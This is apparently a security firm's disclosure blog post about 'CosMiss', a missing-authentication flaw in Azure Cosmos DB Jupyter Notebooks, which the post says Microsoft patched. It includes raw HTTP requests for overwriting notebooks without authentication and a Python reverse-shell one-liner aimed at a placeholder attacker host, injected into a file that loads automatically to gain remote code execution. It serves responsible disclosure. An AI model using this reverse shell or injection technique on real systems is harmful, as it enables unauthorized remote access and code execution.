We recently found a highly important vulnerability on Azure Cosmos DB, where authentication checks were missing from Cosmos DB Notebooks. We named it ‘CosMiss’. In short, if an attacker had knowledge of a Notebook’s ‘forwardingId’, which is the UUID of the Notebook Workspace, they would have had full permissions on the Notebook, including read and write access, and the ability to modify the file system of the container running the notebook. By modifying the container file system (aka dedicated workspace for temporary notebook hosting) we were able to obtain Remote Code Execution (RCE) in the notebook container.

Upon finding the vulnerability, the Orca Research Pod immediately reported it to the Microsoft Security Response Center (MSRC), who fixed the important issue within two days, which is impressive and a much faster response than the SynLapse vulnerability that we discovered in Azure Synapse. We verified the fix and can confirm that now all Cosmos DB Notebook users require an Authorization token in the request Header before being able to access a Notebook. We would like to thank Microsoft for the co-operation and their fast action to secure this vulnerability.

About the CosMiss Vulnerability

  • The vulnerability was found in Azure Cosmos DB Jupyter Notebooks, Microsoft’s fast NoSQL database which is used extensively in Microsoft’s own e-commerce platforms and in the retail industry for storing catalog data and for event sourcing in order processing pipelines. 
  • Jupyter Notebooks are built into Azure Cosmos DB, and are used by developers to perform common tasks, such as data cleaning, data exploration, data transformation, and machine learning. During our research, we found that authentication checks were missing from Cosmos DB Jupyter Notebooks. 
  • This is especially risky since Cosmos DB Notebooks are used by developers to create code and often contain highly sensitive information such as secrets and private keys embedded in the code.
  • The ‘CosMiss’ vulnerability allowed an unauthenticated user to obtain read and write access to Azure Cosmos DB Notebooks, inject code, and overwrite code – constituting remote code execution (RCE).
  • However, an attacker was only able to take advantage of the vulnerability if they knew the UUID of the Notebook Workspace, also referred to as forwardingId. As far as we know, the only way to obtain the forwardingId is to open the Notebook as an authenticated user. The forwardingId is not documented as a secret though, so we don’t have any reason to believe that users would treat it as such.
  • On October 3rd, 2022, Orca Security reported the vulnerability to Microsoft, who fixed and patched the vulnerability within two days – now requiring an Authorization token in the request Header for each notebook session.

What Are Cosmos DB Notebooks?

The CosMiss vulnerability was found in Cosmos DB Jupyter Notebooks. Azure Cosmos DB is a fast NoSQL database. Azure Cosmos DB includes Jupyter Notebooks, which is an open-source interactive developer environment (IDE) that allows developers to create, execute, and share documents that contain live code, equations, visualizations, and narrative text. Since Cosmos DB Notebooks are used by developers to create code, they can contain highly sensitive information such as secrets and private keys embedded in the code. 

Proof of Concept to Exploit CosMiss

To demonstrate the vulnerability, we created a Cosmos DB using the Azure Table API and Serverless Capacity mode. The exploit is also validated on Core SQL api (recommended) and provisioned throughput deployment.

The notebooks feature in Cosmos DB Data Explorer blade allows customers to access and visualize their data using the Jupyter capabilities (in Python, C# or other runtimes). In addition, customers use this feature to examine data from the Cosmos DB combined with other data sources which can be integrated using their APIs.

1. No Authorization Header Required

When a user creates a new Notebook, the following endpoint is created by the phoenixServiceUrl, which generates the items below:

POST 
/api/controlplane/toolscontainer/cosmosaccounts/subscriptions/[tenant-id]/resourceGroups/Orca-Research/providers/Microsoft.DocumentDB/databaseAccounts/orca-cosmos-dev/containerconnections/multicontainer HTTP/2
Host: tools.cosmos.azure.com
Content-Length: 88
Sec-Ch-Ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
Authorization: Bearer 
eyJ0eXAiOiJKV1QiLdaaaxxWMFRPSSIsImtpZCI6IjJaUXBKM1VwYmpBWVhZR2FYRUpsOGxWMFRPSSJ9.eyJhdWQddaaam5ldC8yMjdkY2ExZC1iMWE1LTQ0MDEtYTVmZi05N2Q5OTMxZWE4YmUvIiwiaWF0IjoxNjY0NzE4NTI3LCJuYmYiOjE2NjQ3MTg1MjcsImV4cCI6MTY2NDcyMzIxOSwiYWNyIjoiMSIsndkbkZ3d1lKQUNNNjJjdmkrbERTVnRpQWIvdEpDOW9HV2VFd2pwWGhsL2x3aStzVzZWWHB5UmV5ZFpwMVgiLCJhdI0N2QtOTc0ZTUzY2JkZjNjIiwiYXBwaWRhY3Icadasdddddab3NtbyIsIm9pZCI6IjNhMzJkNmU1LWEyYzMtNGM5MS1iOTA5LTc0N2YxNjQ2NDg3MSIsInB1aWQiOiIxMDAzMjAwMjM2RUJBODZEIiwicmgiOiIwLkFZSUFIY3A5SXFXeEFVU2xfNWZaa3g2b3ZrWklmM2tBdXRkUHVrUGF3ZmoyTUJPQ0FHay4iLCJzY3AiOiJ1c2VyX2ltcGVyc29uYXRpb24iLCJzdWIiOiJZTElsRzB1anZDaktlSWo5OHozRk94R3ZvTjl2Umx3UFRtczlOa1dfQng0IiwidGlkIjoiMjI3ZGNhMWQtYjFhNS00NDAxLWE1ZmYtOTdkOTkzMWVhOGJlIiwidW5pcXVlX25hbWUiOiJjb3Ntb0BvcmNhc2VjdXJpdHlyZXNlYXJjaC5vbm1pY3Jvc29mdC5jb20iLCJ1cG4iOiJjb3Ntb0BvcmNhc2VjdXJpdHlyZXNlYXJjaC5vbm1pY3Jvc29mdC5jb20iLCJ1dGkiOiJuZ3VDVm1qZFhrS3RUSW5BaG9GbEFBIiwidmVyIjoiMS4wIiwieG1zX3RjZHQiOjE2MTg4MTYwODl9.Gyd3LXwzBG1yj-JfO0PCXOyD0exC7U-MCXwJBdsadcadad3xLIRZ7NqBq5BhE0WXLV2cgziYf-CAT9QT6oy1yIn58RaRdMojlVbhCpxlfFTdnsOXiorzNwTHzcwwvWsM4fbl2vV-RKMO
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Accept: /
Origin: https://cosmos.azure.com
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://cosmos.azure.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-IL,en;q=0.9,he-IL;q=0.8,he;q=0.7,en-US;q=0.6,pl;q=0.5

{"cosmosEndpoint":"https://orca-cosmos-dev.documents.azure.com:443/","poolId":"default"}
When a user creates a new Notebook, the following endpoint is created by the phoenixServiceUrl.
The Cosmos DB endpoint that was created manually by the user on portal.azure.com.

The response is:

The Cosmos DB endpoint response on portal.azure.com.

We can see that the following items were created:

  1. A https://seasia.tools.cosmos.azure.com endpoint.
  2. A unique port (the port ranges from 10000-10009, more on that later).
  3. A unique value (UUIDv4) that acts as a session/notebook ID, also known as forwardingId (ab83e033-1670-4bac-a186-32a1c0dddfbc in the above example).

We can see the following endpoints that are being sent by the server in the backend:

Screenshot showing the following endpoints that are being sent by the server in the backend.
When we try to remove the Authorization Header and send the same request, we see that No Authorization Header is required to list the different Notebooks for the same server.

Our current forwardingId seems to be 27f180bc-cf93-4c42-b23e-f27a5085da57

<https://seasia.tools.cosmos.azure.com:10007/api/containergateway/27f180bc-cf93-4c42-b23e-f27a5085da57/api/contents/>

By reviewing the various requests that are being sent by our notebook server (i.e https://seasia.tools.cosmos.azure.com:10007/), it seems that all requests that are sent to the server contain an Authorization Header as we can see from the following screenshot:

Since the Cosmos DB Table and Python Query is Jupyter Based (+Tornado Server), we can review the various endpoints that are part of the platform.

When we try to remove the Authorization Header and send the same request, we see that No Authorization Header is required to list the different Notebooks for the same server.

https://seasia.tools.cosmos.azure.com:10007/api/containergateway/27f180bc-cf93-4c42-b23e-f27a5085da57/api/contents/notebooks
When reviewing the various Security Definitions, we can assume that the current Security Configurations are not set correctly by default.

Since the Cosmos DB Table and Python Query is Jupyter Based (+Tornado Server), we can review the various endpoints that are part of the platform:

<https://github.com/jupyter-server/kernel_gateway/blob/master/kernel_gateway/jupyter_websocket/swagger.json>](<https://github.com/jupyter-server/kernel_gateway/blob/master/kernel_gateway/jupyter_websocket/swagger.json>)#36
Overwriting, Deleting and Injecting Code in the notebook.

When reviewing the various Security Definitions, we can assume that the current Security Configurations are not set correctly by default, since the Authorization method is required to be set with an Authorization Header or Query string.

With that in mind, we can now try to abuse this misconfiguration to manipulate the various notebooks and templates.

2. Overwriting, Deleting and Injecting Code

Let’s now try to overwrite the current Notebook data. First, we write some sample code in the notebook.

Saving notebook in temporary workspace.

Then we save it –

Review the Notebook (Untitled.ipynb) via Burp.

We can also Review the Notebook (Untitled.ipynb) via Burp –

Sending the above request would give us the following ids.

In addition we can grab the kernel_id from the following endpoint:

<https://seasia.tools.cosmos.azure.com:10002/api/containergateway/ab83e033-1670-4bac-a186-32a1c0dddfbc/api/kernels/>

Sending the above request would give us the following ids –

Check the updated notebook by exiting the notebook itself (X sign) and then refreshing the tables/notebooks by hitting the Refresh button to the right of the Tables API title.

Now let’s overwrite a random Notebook by sending a PUT request to the Notebook itself with the following JSON payload (see Body):

  • source parameter ⇒ “print(’Hacked’)”
  • text parameter ⇒ “print(’Hacked’)”
PUT 
/api/containergateway/27f180bc-cf93-4c42-b23e-f27a5085da57/api/contents/notebooks/Untitled.ipynb HTTP/2
Host: [seasia.tools.cosmos.azure.com:1000](<http://seasia.tools.cosmos.azure.com:10005/>)7
Content-Length: 983
Sec-Ch-Ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Accept: */*
Origin: [<https://cosmos.azure.com>](<https://cosmos.azure.com/>)
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: [<https://cosmos.azure.com/>](<https://cosmos.azure.com/>)
Accept-Encoding: gzip, deflate
Accept-Language: en-IL,en;q=0.9,he-IL;q=0.8,he;q=0.7,en-US;q=0.6,pl;q=0.5

{"kernel":{"id":null,"name":"python3"},"name":"",
"content": {"cells": [{"cell_type": "code", "execution_count": 1, "id": "47bdbef0-ea14-4960-8789-7983e63312dd", "metadata": {"collapsed": true, "execution": {"iopub.execute_input": "2022-10-02T08:06:27.283Z", "iopub.status.busy": "2022-10-02T08:06:27.277Z", "iopub.status.idle": "2022-10-02T08:06:27.299Z", "shell.execute_reply": "2022-10-02T08:06:27.292Z"}, "jupyter": {"outputs_hidden": false, "source_hidden": false}, "nteract": {"transient": {"deleting": false}}, "trusted": true}, "outputs": [{"name": "stdout", "output_type": "stream", "text": "hacked\\n"}], "source": "print('Hacked!')"}], "metadata": {"language_info": {"file_extension": "ipynb", "mimetype": "application/json", "name": "python", "version": "3.7"}, "nteract": {"version": "dataExplorer 1.0"}}, "nbformat": 4, "nbformat_minor": 5}, "format": "json", "mimetype": null, "size": 993, "writable": true, "path":"notebooks/Untitled.ipynb","type":"notebook"}
Check that the code in the Notebook was overwritten by sending the crafted payload directly to the server.

We then check the updated notebook by exiting the notebook itself (X sign) and then refreshing the tables/notebooks by hitting the Refresh button to the right of the Tables API title:

We also managed to retrieve any Notebook and delete and inject code into it, regardless of whether we were connected to Azure, or simply an unauthenticated user.

We can see that the code in the Notebook was overwritten by sending the crafted payload directly to the server. We also managed to retrieve any Notebook and delete and inject code into it, regardless of whether we were connected to Azure, or simply an unauthenticated user.

We can see that the code in the Notebook was overwritten by sending the crafted payload directly to the server.

In the video below, we demonstrate the above proof of concept

3. Remote Code Execution (RCE)

When loading the Cosmos Data Explorer via the Azure UI, the Explorer Dashboard is being built by the following file:

/home/cosmosuser/.local/lib/python3.6/site-packages/jupyter_client/kernelspec.py

Now, since we managed to overwrite any files in the /home/cosmosuser directory, we can manipulate the file and add the following lines to it –

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\"ATTACKER_ID\\",ATTACKER_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\\"/bin/bash\\")

In this way, when Data Explorer is loaded, this part of the entire python code will be executed as well, and will eventually give any remote attacker a reverse shell over the client.

When Data Explorer is loaded, this part of the entire python code will be executed as well, and will eventually give any remote attacker a reverse shell over the client.

Modifying the file by sending a PUT request with the file original content + the RCE lines:

Modifying the file by sending a PUT request with the file original content + the RCE lines.

After refreshing the Data Explorer Page we should get a reverse shell.

After refreshing the Data Explorer Page we should get a reverse shell.

The following video demonstrates this RCE:

About the Orca Research Pod

The Orca Research Pod discovers and analyzes cloud risks and vulnerabilities to strengthen the Orca platform and promote cloud security best practices. Orca’s expert security research team has discovered several critical vulnerabilities in public cloud provider platforms, and continues to investigate different cloud products and services to find zero-day vulnerabilities before any malicious actors do. So far this year, Orca has announced seven major vulnerabilities in Azure and AWS, and worked with cloud and service providers to resolve them.

About Orca Security

Orca Security provides the industry-leading agentless Cloud Security Platform that identifies, prioritizes, and remediates risks and compliance issues across your cloud estate spanning AWS, Azure, Google Cloud and Kubernetes. Orca’s platform connects to your environment in minutes and provides 100% visibility of all your assets, detecting and prioritizing cloud risks across every layer of your cloud estate.